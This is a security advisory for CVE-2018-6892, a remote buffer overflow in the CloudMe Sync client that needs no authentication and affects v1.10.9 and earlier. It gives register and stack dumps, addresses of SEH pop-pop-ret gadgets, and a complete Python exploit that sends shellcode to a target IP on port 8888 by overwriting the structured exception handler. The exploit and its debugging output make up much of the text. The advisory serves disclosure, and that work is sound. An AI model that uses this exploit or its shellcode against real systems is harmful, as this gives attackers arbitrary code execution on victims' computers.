SSD Advisory – CloudMe Unauthenticated Remote Buffer Overflow

The following advisory describes one (1) vulnerability found in CloudMe.
CloudMe is “a file storage service operated by CloudMe AB that offers cloud storage, file synchronization and client software. It features a blue folder that appears on all devices with the same content, all files are synchronized between devices.”
The vulnerability found is a buffer overflow vulnerability, which when exploited can be used to cause the product to execute arbitrary code.
Credit
A security researcher from, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released CloudMe version 1.11.0 which addresses this vulnerability.
CVE: CVE-2018-6892

Affected version
CloudMe Sync version v1.10.9 and prior
Vulnerability Details
An unauthenticated remote attackers that can connect to the “CloudMe Sync” client application listening on port 8888, can send a malicious payload causing a buffer overflow condition. This will result in an attacker controlling the programs execution flow and allowing arbitrary code execution on the victims PC.
CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8)
In Qt5Core:

00564DF1   . C74424 04 B822>MOV DWORD PTR SS:[ESP+4],22B8
00564DF9   . 890424         MOV DWORD PTR SS:[ESP],EAX
00564DFC   . FF15 B8738100  CALL DWORD PTR DS:[<&Qt5Network._ZN10QTc>;  Qt5Netwo._ZN10QTcpServer6listenERK12QHostAddresst

Buffer overflow condition
EIP register will be overwritten at about 1075 bytes.

EAX 00000001
ECX 76F698DA msvcrt.76F698DA
EDX 00350000
EBX 41414141
ESP 0028D470
EBP 41414141
ESI 41414141
EDI 41414141
EIP 41414141

Stack dump information

(508.524): Access violation - code c0000005 (first/second chance not available)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll -
eax=00000000 ebx=00000000 ecx=41414141 edx=778f353d esi=00000000 edi=00000000
eip=41414141 esp=00091474 ebp=00091494 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

Exploitation is very easy as ASLR SafeSEH are all set to false making the exploit portable and able to work across different operating systems. We will therefore use Structured Exceptional Handler overwrite for our exploit.
e.g.

6FE6909D     0x6fe6909d : pop ebx # pop esi # ret 0x20 |  {PAGE_EXECUTE_READ} [libstdc++-6.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\libstdc++-6.dll)
00476795     0x00476795 : pop ebx # pop esi # ret 0x20 | startnull {PAGE_EXECUTE_READ} [CloudMe.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\CloudMe.exe)
61E7B7F6     0x61e7b7f6 : pop ebx # pop esi # ret 0x20 |  {PAGE_EXECUTE_READ} [Qt5Gui.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\victimo\AppData\Local\Programs\CloudMe\CloudMe\Qt5Gui.dll)

Exploit

import socket,struct
print 'CloudMe Sync v1.10.9'
print 'Unauthenticated Remote Buffer Overflow 0day'
print 'Discovery/credits: hyp3rlinx'
print 'apparition security\n'
#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
ip=raw_input('[+] CloudMe Target IP> ')
nseh="\xEB\x06"+"\x90"*2                #JMP
seh=struct.pack('<L',0x61e7b7f6)        #POP,POP RET
junk="A"*2232+nseh+seh+sc+"B"*5600
payload=junk+nseh+seh+sc
def PwnMe(ip,payload):
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip,8888))
    s.send(payload)
    print 'Sending buffer overflow packetz'
    raw_input()
if __name__ == '__main__':
    PwnMe(ip,payload)